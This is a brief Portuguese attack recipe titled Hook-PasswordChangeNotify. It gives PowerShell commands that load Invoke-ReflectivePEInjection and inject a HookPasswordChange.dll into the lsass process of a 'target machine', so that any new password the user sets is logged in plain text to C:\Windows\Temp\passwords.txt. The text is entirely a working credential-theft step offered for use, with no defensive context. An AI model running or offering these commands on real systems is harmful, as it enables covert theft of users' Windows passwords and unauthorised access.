Hook-PasswordChangeNotify

1、Execute o seguinte comando no powershell:

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

2、Quando o usuário da máquina de destino modificar a senha, a nova senha será gravada em C:\Windows\Temp\passwords.txt